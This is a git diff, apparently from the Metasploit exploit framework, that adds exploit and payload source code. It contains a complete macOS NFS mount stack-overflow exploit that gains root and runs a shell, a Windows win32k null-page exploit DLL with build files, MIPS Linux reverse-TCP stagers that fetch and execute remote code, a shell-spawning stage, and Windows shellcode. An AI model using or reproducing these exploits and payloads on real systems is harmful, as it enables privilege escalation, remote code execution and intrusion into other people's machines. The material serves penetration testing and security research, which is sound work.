TrackPopupMenu(menu1, TPM_CENTERALIGN, 0, 0, 0, window1, NULL); + CreateThread(0, 0, ExecutePayload, lpPayload, 0, NULL); + return; +} + +BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) { + BOOL bReturnValue = TRUE; + switch (dwReason) { + case DLL_QUERY_HMODULE: + hAppInstance = hinstDLL; + if (lpReserved != NULL) { + *(HMODULE *)lpReserved = hAppInstance; + } + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + Win32kNullPage(lpReserved); + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +}; diff --git a/external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.vcxproj b/external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.vcxproj new file mode 100755 index 0000000000..634f972b10 --- /dev/null +++ b/external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.vcxproj @@ -0,0 +1,85 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + + {6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B} + cve20133881 + + + + DynamicLibrary + true + false + MultiByte + v120 + + + DynamicLibrary + false + false + MultiByte + v120 + + + + + + + + + + + + + ../../../ReflectiveDLLInjection/common;$(IncludePath) + + + ../../../ReflectiveDLLInjection/common;$(IncludePath) + + + + CompileAsC + Level3 + Disabled + true + true + MultiThreaded + + + true + true + $(OutDir)$(TargetName).$(ProcessorArchitecture)$(TargetExt) + + + + + CompileAsC + Level3 + Disabled + true + true + Default + MultiThreaded + + + false + true + $(OutDir)$(TargetName).$(ProcessorArchitecture)$(TargetExt) + + + + + + + + + \ No newline at end of file diff --git a/external/source/exploits/cve-2013-3881/make.msbuild b/external/source/exploits/cve-2013-3881/make.msbuild new file mode 100644 index 0000000000..688fd5ed4c --- /dev/null +++ b/external/source/exploits/cve-2013-3881/make.msbuild @@ -0,0 +1,17 @@ + + + + .\cve-2013-3881.sln + + + + + + + + + + + + + diff --git a/external/source/exploits/make.bat b/external/source/exploits/make.bat index 808969ad80..a66e6017bd 100755 --- a/external/source/exploits/make.bat +++ b/external/source/exploits/make.bat @@ -26,6 +26,13 @@ PUSHD CVE-2010-0232 msbuild.exe make.msbuild /target:%PLAT% POPD +IF "%ERRORLEVEL%"=="0" ( + ECHO "Building CVE-2013-0109 (nvidia_nvsvc)" + PUSHD CVE-2013-0109 + msbuild.exe make.msbuild /target:%PLAT% + POPD +) + IF "%ERRORLEVEL%"=="0" ( ECHO "Building CVE-2013-3660 (ppr_flatten_rec)" PUSHD CVE-2013-3660 @@ -33,6 +40,44 @@ IF "%ERRORLEVEL%"=="0" ( POPD ) +IF "%ERRORLEVEL%"=="0" ( + ECHO "Building CVE-2013-3881 (win32k_null_page)" + PUSHD CVE-2013-3881 + msbuild.exe make.msbuild /target:%PLAT% + POPD +) + +IF "%ERRORLEVEL%"=="0" ( + ECHO "Building CVE-2013-1300 (schlamperei)" + PUSHD CVE-2013-1300 + msbuild.exe make.msbuild /target:%PLAT% + POPD +) + +IF "%ERRORLEVEL%"=="0" ( + ECHO "Building bypassuac (on-disk)" + PUSHD bypassuac + msbuild.exe make.msbuild /target:%PLAT% + POPD + +) + +IF "%ERRORLEVEL%"=="0" ( + ECHO "Building bypassuac (in-memory)" + PUSHD bypassuac_injection + msbuild.exe make.msbuild /target:%PLAT% + POPD +) + +) + +IF "%ERRORLEVEL%"=="0" ( + ECHO "Building IE11 Sandbox bypasses" + PUSHD IE11SandboxEscapes + msbuild.exe make.msbuild /target:%PLAT% + POPD +) + FOR /F "usebackq tokens=1,2 delims==" %%i IN (`wmic os get LocalDateTime /VALUE 2^>NUL`) DO IF '.%%i.'=='.LocalDateTime.' SET LDT=%%j SET LDT=%LDT:~0,4%-%LDT:~4,2%-%LDT:~6,2% %LDT:~8,2%:%LDT:~10,2%:%LDT:~12,6% echo Finished %ldt% diff --git a/external/source/osx/nfs_mount_priv_escalation.c b/external/source/osx/nfs_mount_priv_escalation.c new file mode 100644 index 0000000000..86098b5a44 --- /dev/null +++ b/external/source/osx/nfs_mount_priv_escalation.c @@ -0,0 +1,165 @@ +/* + * Apple Mac OS X Lion Kernel <= xnu-1699.32.7 except xnu-1699.24.8 NFS Mount Privilege Escalation Exploit + * CVE None + * by Kenzley Alphonse + * + * + * Notes: + * This exploit leverage a stack overflow vulnerability to escalate privileges. + * The vulnerable function nfs_convert_old_nfs_args does not verify the size + * of a user-provided argument before copying it to the stack. As a result by + * passing a large size, a local user can overwrite the stack with arbitrary + * content. + * + * Tested on Max OS X Lion xnu-1699.22.73 (x86_64) + * Tested on Max OS X Lion xnu-1699.32.7 (x86_64) + * + * Greets to taviso, spender, joberheide + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +/** change these to fit your environment if needed **/ +#define SSIZE (536) + +/** struct user_nfs_args was copied directly from "/bsd/nfs/nfs.h" of the xnu kernel **/ +struct user_nfs_args { + int version; /* args structure version number */ + char* addr __attribute__((aligned(8))); /* file server address */ + int addrlen; /* length of address */ + int sotype; /* Socket type */ + int proto; /* and Protocol */ + char * fh __attribute__((aligned(8))); /* File handle to be mounted */ + int fhsize; /* Size, in bytes, of fh */ + int flags; /* flags */ + int wsize; /* write size in bytes */ + int rsize; /* read size in bytes */ + int readdirsize; /* readdir size in bytes */ + int timeo; /* initial timeout in .1 secs */ + int retrans; /* times to retry send */ + int maxgrouplist; /* Max. size of group list */ + int readahead; /* # of blocks to readahead */ + int leaseterm; /* obsolete: Term (sec) of lease */ + int deadthresh; /* obsolete: Retrans threshold */ + char* hostname __attribute__((aligned(8))); /* server's name */ + /* NFS_ARGSVERSION 3 ends here */ + int acregmin; /* reg file min attr cache timeout */ + int acregmax; /* reg file max attr cache timeout */ + int acdirmin; /* dir min attr cache timeout */ + int acdirmax; /* dir max attr cache timeout */ + /* NFS_ARGSVERSION 4 ends here */ + uint auth; /* security mechanism flavor */ + /* NFS_ARGSVERSION 5 ends here */ + uint deadtimeout; /* secs until unresponsive mount considered dead */ +}; + +/** sets the uid for the current process and safely exits from the kernel**/ +static void r00t_me() { + asm( + // padding + "nop; nop; nop; nop;" + + // task_t %rax = current_task() + "movq %%gs:0x00000008, %%rax;" + "movq 0x00000348(%%rax), %%rax;" + + // proc %rax = get_bsdtask_info() + "movq 0x000002d8(%%rax),%%rax;" + + // ucred location at proc + "movq 0x000000d0(%%rax),%%rax;" + + // uid = 0 + "xorl %%edi, %%edi;" + "movl %%edi, 0x0000001c(%%rax);" + "movl %%edi, 0x00000020(%%rax);" + + // fix the stack pointer and return (EACCES) + "movq $13, %%rax;" + "addq $0x00000308,%%rsp;" + "popq %%rbx;" + "popq %%r12;" + "popq %%r13;" + "popq %%r14;" + "popq %%r15;" + "popq %%rbp;" + "ret;" + :::"%rax" + ); +} + +int main(int argc, char ** argv) { + struct user_nfs_args xdrbuf; + char * path; + char obuf[SSIZE]; + + + /** clear the arguments **/ + memset(&xdrbuf, 0x00, sizeof(struct user_nfs_args)); + memset(obuf, 0x00, SSIZE); + + /** set up variable to get path to vulnerable code **/ + xdrbuf.version = 3; + xdrbuf.hostname = "localhost"; + xdrbuf.addrlen = SSIZE; + xdrbuf.addr = obuf; + + /** set ret address **/ + *(unsigned long *)&obuf[528] = (unsigned long) (&r00t_me + 5); + printf("[*] set ret = 0x%.16lx\n", *(unsigned long *)&obuf[528]); + + /** create a unique tmp name **/ + if ((path = tmpnam(NULL)) == NULL) { + // path can be any directory which we have read/write/exec access + // but I'd much rather create one instead of searching for one + perror("[-] tmpnam"); + exit(EXIT_FAILURE); + } + + /** make the path in tmp so that we can use it **/ + if (mkdir(path, 0660) < 0) { + perror("[-] mkdir"); + exit(EXIT_FAILURE); + } + + /** inform the user that the path was created **/ + printf("[*] created sploit path%s\n", path); + + /** call the vulnerable function **/ + if (mount("nfs", path, 0, &xdrbuf) < 0) { + if (errno == EACCES) { + puts("[+] escalating privileges..."); + } else { + perror("[-] mount"); + } + + } + + /** clean up tmp dir **/ + if (rmdir(path) < 0) { + perror("[-] rmdir"); + } + + /** check if privs are equal to root **/ + if (getuid() != 0) { + puts("[-] priviledge escalation failed"); + exit(EXIT_FAILURE); + } + + /** get root shell **/ + printf("[+] We are now uid=%i ... your welcome!\n", getuid()); + printf("[+] Dropping a shell.\n"); + + /** execute **/ + execl("/bin/sh", "/bin/sh", "-c", argv[1], NULL); + return 0; +} diff --git a/external/source/shellcode/linux/mips/stage_tcp_shell.s b/external/source/shellcode/linux/mips/stage_tcp_shell.s new file mode 100644 index 0000000000..bbe9086fe5 --- /dev/null +++ b/external/source/shellcode/linux/mips/stage_tcp_shell.s @@ -0,0 +1,75 @@ +## +# +# Name: stage_tcp_shell +# Type: Stage +# Qualities: Compatible with both mips little and big endian +# Platforms: Linux +# Authors: juan vazquez +# License: +# +# This file is part of the Metasploit Exploit Framework +# and is subject to the same licenses and copyrights as +# the rest of this package. +# +# Description: +# +# This payload duplicates stdio, stdin and stderr to a file descriptor, +# stored on $s2, and executes /bin/sh. +# +# Assemble and create a relocatable object with: +# as -o stage_tcp_shell.o stage_tcp_shell.s +# +# Assemble, link and create an executable ELF with: +# gcc -o stage_tcp_shell stage_tcp_shell.s +# +# The tool "tools/metasm_shell.rb" can be used to easily +# generate the string to place on: +# modules/payloads/stages/linux/mipsle/shell.rb +# and: +# modules/payloads/stages/linux/mipsbe/shell.rb +## + .text + .align 2 + .globl main + .set nomips16 +main: + .set noreorder + .set nomacro + + # dup2(sockfd, 2) + # dup2(sockfd, 1) + # dup2(sockfd, 0) + # a0: oldfd (sockfd) + # a1: newfd (2, 1, 0) + # v0: syscall = __NR_dup2 (4063) + li $s1, -3 + nor $s1, $s1, $zero + add $a0, $s2, $zero +dup2_loop: + add $a1, $s1, $zero # dup2_loop + li $v0, 4063 # sys_dup2 + syscall 0x40404 + li $s0, -1 + addi $s1, $s1, -1 + bne $s1, $s0, dup2_loop # + + # execve("/bin/sh", ["/bin/sh"], NULL) + # a0: filename "/bin/sh" + # a1: argv ["/bin/sh", NULL] + # a2: envp NULL + # v0: syscall = __NR_dup2 (4011) + li $t8, -1 # load t8 with -1 +getaddr: # getaddr trick from scut@team-teso.net + bltzal $t8, getaddr # branch with $ra stored if t8 < 0 + slti $t8, $zero, -1 # delay slot instr: $t8 = 0 (see below) + addi $a0, $ra, 28 # $ra gets this address + sw $a0, -8($sp) + sw $zero, -4($sp) + addi $a1, $sp, -8 + slti $a2, $zero,-1 + li $v0, 4011 # sys_execve + syscall 0x40404 + + .string "/bin/sh" + .set macro + .set reorder diff --git a/external/source/shellcode/linux/mipsbe/stager_sock_reverse.s b/external/source/shellcode/linux/mipsbe/stager_sock_reverse.s new file mode 100644 index 0000000000..9aba45eea7 --- /dev/null +++ b/external/source/shellcode/linux/mipsbe/stager_sock_reverse.s @@ -0,0 +1,127 @@ +## +# +# Name: stager_sock_reverse +# Type: Stager +# Qualities: No Nulls out of the IP / Port data +# Platforms: Linux MIPS Big Endian +# Authors: juan vazquez +# License: +# +# This file is part of the Metasploit Exploit Framework +# and is subject to the same licenses and copyrights as +# the rest of this package. +# +# Description: +# +# Implementation of a MIPS BE Linux reverse TCP stager. +# +# File descriptor in $s2. +# +# Assemble and create a relocatable object with: +# as -o stager_sock_reverse.o stager_sock_reverse.s +# +# Assemble, link and create an executable ELF with: +# gcc -o stager_sock_reverse stager_sock_reverse.s +# +# The tool "tools/metasm_shell.rb" can be used to easily +# generate the string to place on: +# modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb +## + .text + .align 2 + .globl main + .set nomips16 +main: + .set noreorder + .set nomacro + + # socket(PF_INET, SOCK_STREAM, IPPROTO_IP) + # a0: domain = PF_INET (2) + # a1: type = SOCK_STREAM (2) + # a2: protocol = IPPROTO_IP (0) + # v0: syscall = __NR_socket (4183) + li $t7, -6 + nor $t7, $t7, $zero + addi $a0, $t7, -3 + addi $a1, $t7, -3 + slti $a2, $zero, -1 + li $v0, 4183 + syscall 0x40404 + sw $v0, -4($sp) # store the file descriptor for the socket on the stack + + # connect(sockfd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("192.168.172.1")}, 16) + # a0: sockfd + # a1: addr = AF_INET (2) + # a2: addrlen = 16 + # v0: syscall = __NR_connect (4170) + lw $a0, -4($sp) + li $t7, -3 + nor $t7, $t7, $zero + sw $t7, -32($sp) + lui $t6, 0x115c + sw $t6, -28($sp) + lui $t6, 0x7f00 # ip + ori $t6, $t6, 0x0001 # ip + sw $t6, -26($sp) + addiu $a1, $sp, -30 + li $t4, -17 + nor $a2, $t4, $zero + li $v0, 4170 + syscall 0x40404 + + # mmap(0xffffffff, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) + # a0: addr = -1 + # a1: lenght = 4096 + # a2: prot = PROT_READ|PROT_WRITE|PROT_EXEC (7) + # a3: flags = MAP_PRIVATE|MAP_ANONYMOUS (2050) + # sp(16): fd = -1 + # sp(20): offset = 0 + # v0: syscall = __NR_mmap (4090) + li $a0, -1 + li $a1, 4097 + addi $a1, $a1, -1 + li $t1, -8 + nor $t1, $t1, $0 + add $a2, $t1, $0 + li $a3, 2050 + li $t3, -22 + nor $t3, $t3, $zero + add $t3, $sp, $t3 + sw $0, -1($t3) # Doesn't use $sp directly to avoid nulls + sw $2, -5($t3) # Doesn't use $sp directly to avoid nulls + li $v0, 4090 + syscall 0x40404 + sw $v0, -8($sp) # Stores the mmap'ed address on the stack + + # read(sockfd, addr, 4096) + # a0: sockfd + # a1: addr + # a2: len = 4096 + # v0: syscall = __NR_read (4003) + lw $a0, -4($sp) + lw $a1, -8($sp) + li $a2, 4097 + addi $a2, $a2, -1 + li $v0, 4003 + syscall 0x40404 + + # cacheflush(addr, nbytes, DCACHE) + # a0: addr + # a1: nbytes + # a2: cache = DCACHE (2) + # v0: syscall = __NR_read (4147) + lw $a0, -8($sp) + add $a1, $v0, $zero + li $t1, -3 + nor $t1, $t1, $0 + add $a2, $t1, $0 + li $v0, 4147 + syscall 0x40404 + + # jmp to the stage + lw $s1, -8($sp) + lw $s2, -4($sp) + jalr $s1 + + .set macro + .set reorder diff --git a/external/source/shellcode/linux/mipsle/stager_sock_reverse.s b/external/source/shellcode/linux/mipsle/stager_sock_reverse.s new file mode 100644 index 0000000000..42083452af --- /dev/null +++ b/external/source/shellcode/linux/mipsle/stager_sock_reverse.s @@ -0,0 +1,127 @@ +## +# +# Name: stager_sock_reverse +# Type: Stager +# Qualities: No Nulls out of the IP / Port data +# Platforms: Linux MIPS Little Endian +# Authors: juan vazquez +# License: +# +# This file is part of the Metasploit Exploit Framework +# and is subject to the same licenses and copyrights as +# the rest of this package. +# +# Description: +# +# Implementation of a MIPS LE Linux reverse TCP stager. +# +# File descriptor in $s2. +# +# Assemble and create a relocatable object with: +# as -o stager_sock_reverse.o stager_sock_reverse.s +# +# Assemble, link and create an executable ELF with: +# gcc -o stager_sock_reverse stager_sock_reverse.s +# +# The tool "tools/metasm_shell.rb" can be used to easily +# generate the string to place on: +# modules/payloads/stagers/linux/mipsle/reverse_tcp.rb +## + .text + .align 2 + .globl main + .set nomips16 +main: + .set noreorder + .set nomacro + + # socket(PF_INET, SOCK_STREAM, IPPROTO_IP) + # a0: domain = PF_INET (2) + # a1: type = SOCK_STREAM (2) + # a2: protocol = IPPROTO_IP (0) + # v0: syscall = __NR_socket (4183) + li $t7, -6 + nor $t7, $t7, $zero + addi $a0, $t7, -3 + addi $a1, $t7, -3 + slti $a2, $zero, -1 + li $v0, 4183 + syscall 0x40404 + sw $v0, -4($sp) # store the file descriptor for the socket on the stack + + # connect(sockfd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("192.168.172.1")}, 16) + # a0: sockfd + # a1: addr = AF_INET (2) + # a2: addrlen = 16 + # v0: syscall = __NR_connect (4170) + lw $a0, -4($sp) + li $t7, -3 + nor $t7, $t7, $zero + sw $t7, -30($sp) + ori $t6, $zero, 0x5c11 # port + sw $t6, -28($sp) + lui $t6, 0x100 # ip + ori $t6, $t6, 0x7f # ip + sw $t6, -26($sp) + addiu $a1, $sp, -30 + li $t4, -17 + nor $a2, $t4, $zero + li $v0, 4170 + syscall 0x40404 + + # mmap(0xffffffff, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) + # a0: addr = -1 + # a1: lenght = 4096 + # a2: prot = PROT_READ|PROT_WRITE|PROT_EXEC (7) + # a3: flags = MAP_PRIVATE|MAP_ANONYMOUS (2050) + # sp(16): fd = -1 + # sp(20): offset = 0 + # v0: syscall = __NR_mmap (4090) + li $a0, -1 + li $a1, 4097 + addi $a1, $a1, -1 + li $t1, -8 + nor $t1, $t1, $0 + add $a2, $t1, $0 + li $a3, 2050 + li $t3, -22 + nor $t3, $t3, $zero + add $t3, $sp, $t3 + sw $0, -1($t3) # Doesn't use $sp directly to avoid nulls + sw $2, -5($t3) # Doesn't use $sp directly to avoid nulls + li $v0, 4090 + syscall 0x40404 + sw $v0, -8($sp) # Stores the mmap'ed address on the stack + + # read(sockfd, addr, 4096) + # a0: sockfd + # a1: addr + # a2: len = 4096 + # v0: syscall = __NR_read (4003) + lw $a0, -4($sp) + lw $a1, -8($sp) + li $a2, 4097 + addi $a2, $a2, -1 + li $v0, 4003 + syscall 0x40404 + + # cacheflush(addr, nbytes, DCACHE) + # a0: addr + # a1: nbytes + # a2: cache = DCACHE (2) + # v0: syscall = __NR_read (4147) + lw $a0, -8($sp) + add $a1, $v0, $zero + li $t1, -3 + nor $t1, $t1, $0 + add $a2, $t1, $0 + li $v0, 4147 + syscall 0x40404 + + # jmp to the stage + lw $s1, -8($sp) + lw $s2, -4($sp) # sockfd saved on $s2 + jalr $s1 + + .set macro + .set reorder diff --git a/external/source/shellcode/windows/stager_bind_ipv6_tcp_nx.asm b/external/source/shellcode/windows/stager_bind_ipv6_tcp_nx.asm index 34be67e4e0..afc55b9410 100644 --- a/external/source/shellcode/windows/stager_bind_ipv6_tcp_nx.asm +++ b/external/source/shellcode/windows/stager_bind_ipv6_tcp_nx.asm @@ -1,6 +1,6 @@ ; Title: Windows Bind Stager (NX, IPv6) ; Platforms: Windows NT 4.0, Windows 2000, Windows XP, Windows 2003 -; Author: Rapid7 LLC +; Author: Rapid7, Inc [BITS 32] diff --git a/external/source/shellcode/windows/stager_reverse_ipv6_tcp_nx.asm b/external/source/shellcode/windows/stager_reverse_ipv6_tcp_nx.asm index 241a3a6c6d..910e45dcbc 100644 --- a/external/source/shellcode/windows/stager_reverse_ipv6_tcp_nx.asm +++ b/external/source/shellcode/windows/stager_reverse_ipv6_tcp_nx.asm @@ -1,6 +1,6 @@ ; Title: Windows Reverse Connect Stager (NX, IPv6) ; Platforms: Windows NT 4.0, Windows 2000, Windows XP, Windows 2003, Windows Vista -; Author: Rapid7 LLC +; Author: Rapid7, Inc [BITS 32] diff --git a/external/source/shellcode/windows/x86/build.py b/external/source/shellcode/windows/x86/build.py index 31eaa848c8..93e1bf59b5 100644 --- a/external/source/shellcode/windows/x86/build.py +++ b/external/source/shellcode/windows/x86/build.py @@ -1,124 +1,128 @@ -#=============================================================================# -# A simple python build script to build the singles/stages/stagers and -# some usefull information such as offsets and a hex dump. The binary output -# will be placed in the bin directory. A hex string and usefull comments will -# be printed to screen. -# -# Example: -# >python build.py stager_reverse_tcp_nx -# -# Example, to build everything: -# >python build.py all > build_output.txt -# -# Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) -#=============================================================================# -import os, sys, time -from subprocess import Popen -from struct import pack -#=============================================================================# -def clean( dir="./bin/" ): - for root, dirs, files in os.walk( dir ): - for name in files: - os.remove( os.path.join( root, name ) ) -#=============================================================================# -def locate( src_file, dir="./src/" ): - for root, dirs, files in os.walk( dir ): - for name in files: - if src_file == name: - return root - return None -#=============================================================================# -def build( name ): - location = locate( "%s.asm" % name ) - if location: - input = os.path.normpath( os.path.join( location, name ) ) - output = os.path.normpath( os.path.join( "./bin/", name ) ) - p = Popen( ["nasm", "-f bin", "-O3", "-o %s.bin" % output, "%s.asm" % input ] ) - p.wait() - xmit( name ) - else: - print "[-] Unable to locate '%s.asm' in the src directory" % name -#=============================================================================# -def xmit_dump_ruby( data, length=16 ): - dump = "" - for i in xrange( 0, len( data ), length ): - bytes = data[ i : i+length ] - hex = "\"%s\"" % ( ''.join( [ "\\x%02X" % ord(x) for x in bytes ] ) ) - if i+length <= len(data): - hex += " +" - dump += "%s\n" % ( hex ) - print dump -#=============================================================================# -def xmit_offset( data, name, value ): - offset = data.find( value ); - if offset != -1: - print "# %s Offset: %d" % ( name, offset ) -#=============================================================================# -def xmit( name, dump_ruby=True ): - bin = os.path.normpath( os.path.join( "./bin/", "%s.bin" % name ) ) - f = open( bin, 'rb') - data = f.read() - print "# Name: %s\n# Length: %d bytes" % ( name, len( data ) ) - xmit_offset( data, "Port", pack( ">H", 4444 ) ) # 4444 - xmit_offset( data, "LEPort", pack( "L", 0x7F000001 ) ) # 127.0.0.1 - xmit_offset( data, "IPv6Host", pack( "H", 0x1122 ) ) # Egg tag size - xmit_offset( data, "RC4Key", "RC4KeyMetasploit") # RC4 key - xmit_offset( data, "XORKey", "XORK") # XOR key - if( name.find( "egghunter" ) >= 0 ): - null_count = data.count( "\x00" ) - if( null_count > 0 ): - print "# Note: %d NULL bytes found." % ( null_count ) - if dump_ruby: - xmit_dump_ruby( data ) #=============================================================================# -def main( argv=None ): - if not argv: - argv = sys.argv - try: - if len( argv ) == 1: - print "Usage: build.py [clean|all|]" - else: - print "# Built on %s\n" % ( time.asctime( time.localtime() ) ) - if argv[1] == "clean": - clean() - elif argv[1] == "all": - for root, dirs, files in os.walk( "./src/egghunter/" ): - for name in files: - build( name[:-4] ) - for root, dirs, files in os.walk( "./src/migrate/" ): - for name in files: - build( name[:-4] ) - for root, dirs, files in os.walk( "./src/single/" ): - for name in files: - build( name[:-4] ) - for root, dirs, files in os.walk( "./src/stage/" ): - for name in files: - build( name[:-4] ) - for root, dirs, files in os.walk( "./src/stager/" ): - for name in files: - build( name[:-4] ) - for root, dirs, files in os.walk( "./src/kernel/" ): - for name in files: - build( name[:-4] ) - else: - build( argv[1] ) - except Exception, e: - print "[-] ", e -#=============================================================================# -if __name__ == "__main__": - main() +# A simple python build script to build the singles/stages/stagers and +# some usefull information such as offsets and a hex dump. The binary output +# will be placed in the bin directory. A hex string and usefull comments will +# be printed to screen. +# +# Example: +# >python build.py stager_reverse_tcp_nx +# +# Example, to build everything: +# >python build.py all > build_output.txt +# +# Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) #=============================================================================# +import os, sys, time +from subprocess import Popen +from struct import pack +#=============================================================================# +def clean( dir="./bin/" ): + for root, dirs, files in os.walk( dir ): + for name in files: + os.remove( os.path.join( root, name ) ) +#=============================================================================# +def locate( src_file, dir="./src/" ): + for root, dirs, files in os.walk( dir ): + for name in files: + if src_file == name: + return root + return None +#=============================================================================# +def build( name ): + location = locate( "%s.asm" % name ) + if location: + input = os.path.normpath( os.path.join( location, name ) ) + output = os.path.normpath( os.path.join( "./bin/", name ) ) + p = Popen( ["nasm", "-f bin", "-O3", "-o %s.bin" % output, "%s.asm" % input ] ) + p.wait() + xmit( name ) + else: + print "[-] Unable to locate '%s.asm' in the src directory" % name + +#=============================================================================# +def xmit_dump_ruby( data, length=16 ): + dump = "" + for i in xrange( 0, len( data ), length ): + bytes = data[ i : i+length ] + hex = "\"%s\"" % ( ''.join( [ "\\x%02X" % ord(x) for x in bytes ] ) ) + if i+length <= len(data): + hex += " +" + dump += "%s\n" % ( hex ) + print dump + +#=============================================================================# +def xmit_offset( data, name, value, match_offset=0 ): + offset = data.find( value ); + if offset != -1: + print "# %s Offset: %d" % ( name, offset + match_offset ) + +#=============================================================================# +def xmit( name, dump_ruby=True ): + bin = os.path.normpath( os.path.join( "./bin/", "%s.bin" % name ) ) + f = open( bin, 'rb') + data = f.read() + print "# Name: %s\n# Length: %d bytes" % ( name, len( data ) ) + xmit_offset( data, "Port", pack( ">H", 4444 ) ) # 4444 + xmit_offset( data, "LEPort", pack( "L", 0x7F000001 ) ) # 127.0.0.1 + xmit_offset( data, "IPv6Host", pack( "H", 0x1122 ) ) # Egg tag size + xmit_offset( data, "RC4Key", "RC4KeyMetasploit") # RC4 key + xmit_offset( data, "XORKey", "XORK") # XOR key + if( name.find( "egghunter" ) >= 0 ): + null_count = data.count( "\x00" ) + if( null_count > 0 ): + print "# Note: %d NULL bytes found." % ( null_count ) + if dump_ruby: + xmit_dump_ruby( data ) + +#=============================================================================# +def main( argv=None ): + if not argv: + argv = sys.argv + try: + if len( argv ) == 1: + print "Usage: build.py [clean|all|]" + else: + print "# Built on %s\n" % ( time.asctime( time.localtime() ) ) + if argv[1] == "clean": + clean() + elif argv[1] == "all": + for root, dirs, files in os.walk( "./src/egghunter/" ): + for name in files: + build( name[:-4] ) + for root, dirs, files in os.walk( "./src/migrate/" ): + for name in files: + build( name[:-4] ) + for root, dirs, files in os.walk( "./src/single/" ): + for name in files: + build( name[:-4] ) + for root, dirs, files in os.walk( "./src/stage/" ): + for name in files: + build( name[:-4] ) + for root, dirs, files in os.walk( "./src/stager/" ): + for name in files: + build( name[:-4] ) + for root, dirs, files in os.walk( "./src/kernel/" ): + for name in files: + build( name[:-4] ) + else: + build( argv[1] ) + except Exception, e: + print "[-] ", e +#=============================================================================# +if __name__ == "__main__": + main() +#=============================================================================# diff --git a/external/source/shellcode/windows/x86/src/block/block_api.asm b/external/source/shellcode/windows/x86/src/block/block_api.asm index 2acc13ddec..3b7a85d82e 100644 --- a/external/source/shellcode/windows/x86/src/block/block_api.asm +++ b/external/source/shellcode/windows/x86/src/block/block_api.asm @@ -23,7 +23,7 @@ api_call: mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list next_mod: ; mov esi, [edx+40] ; Get pointer to modules name (unicode string) - movzx ecx, word [edx+38] ; Set ECX to the length we want to check + movzx ecx, word [edx+38] ; Set ECX to the length we want to check xor edi, edi ; Clear EDI which will store the hash of the module name loop_modname: ; xor eax, eax ; Clear EAX @@ -34,22 +34,25 @@ loop_modname: ; not_lowercase: ; ror edi, 13 ; Rotate right our hash value add edi, eax ; Add the next byte of the name - loop loop_modname ; Loop untill we have read enough + loop loop_modname ; Loop until we have read enough + ; We now have the module hash computed push edx ; Save the current position in the module list for later push edi ; Save the current module hash for later - ; Proceed to itterate the export address table, + ; Proceed to iterate the export address table, mov edx, [edx+16] ; Get this modules base address mov eax, [edx+60] ; Get PE header - add eax, edx ; Add the modules base address - mov eax, [eax+120] ; Get export tables RVA - test eax, eax ; Test if no export address table is present - jz get_next_mod1 ; If no EAT present, process the next module - add eax, edx ; Add the modules base address - push eax ; Save the current modules EAT - mov ecx, [eax+24] ; Get the number of function names - mov ebx, [eax+32] ; Get the rva of the function names + + ; use ecx as our EAT pointer here so we can take advantage of jecxz. + mov ecx, [eax+edx+120] ; Get the EAT from the PE header + jecxz get_next_mod1 ; If no EAT present, process the next module + add ecx, edx ; Add the modules base address + push ecx ; Save the current modules EAT + mov ebx, [ecx+32] ; Get the rva of the function names add ebx, edx ; Add the modules base address + mov ecx, [ecx+24] ; Get the number of function names + ; now ecx returns to its regularly scheduled counter duties + ; Computing the module hash + function hash get_next_func: ; jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module @@ -66,14 +69,15 @@ loop_funcname: ; cmp al, ah ; Compare AL (the next byte from the name) to AH (null) jne loop_funcname ; If we have not reached the null terminator, continue add edi, [ebp-8] ; Add the current module hash to the function hash - cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for + cmp edi, [ebp+36] ; Compare the hash to the one we are searching for jnz get_next_func ; Go compute the next function hash if we have not found it + ; If found, fix up stack, call the function and then value else compute the next one... pop eax ; Restore the current modules EAT - mov ebx, [eax+36] ; Get the ordinal table rva + mov ebx, [eax+36] ; Get the ordinal table rva add ebx, edx ; Add the modules base address mov cx, [ebx+2*ecx] ; Get the desired functions ordinal - mov ebx, [eax+28] ; Get the function addresses table rva + mov ebx, [eax+28] ; Get the function addresses table rva add ebx, edx ; Add the modules base address mov eax, [ebx+4*ecx] ; Get the desired functions RVA add eax, edx ; Add the modules base address to get the functions actual VA @@ -88,10 +92,11 @@ finish: push ecx ; Push back the correct return value jmp eax ; Jump into the required function ; We now automagically return to the correct caller... + get_next_mod: ; pop eax ; Pop off the current (now the previous) modules EAT get_next_mod1: ; pop edi ; Pop off the current (now the previous) modules hash pop edx ; Restore our position in the module list mov edx, [edx] ; Get the next module - jmp short next_mod ; Process this module \ No newline at end of file + jmp short next_mod ; Process this module diff --git a/external/source/shellcode/windows/x86/src/block/block_create_remote_process.asm b/external/source/shellcode/windows/x86/src/block/block_create_remote_process.asm new file mode 100644 index 0000000000..50252ad53e --- /dev/null +++ b/external/source/shellcode/windows/x86/src/block/block_create_remote_process.asm @@ -0,0 +1,82 @@ +;-----------------------------------------------------------------------------; +; Author: agix (florian.gaultier[at]gmail[dot]com) +; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4 +; Size: 307 bytes +;-----------------------------------------------------------------------------; + +[BITS 32] +; Input: EBP must be the address of 'api_call'. + +xor edi, edi +push 0x00000004 ;PAGE_READWRITE +push 0x00001000 ;MEM_COMMIT +push 0x00000054 ;STARTUPINFO+PROCESS_INFORMATION +push edi +push 0xE553A458 ;call VirtualAlloc() +call ebp + +mov dword [eax], 0x44 +lea esi, [eax+0x44] +push edi +push 0x6578652e +push 0x32336c6c +push 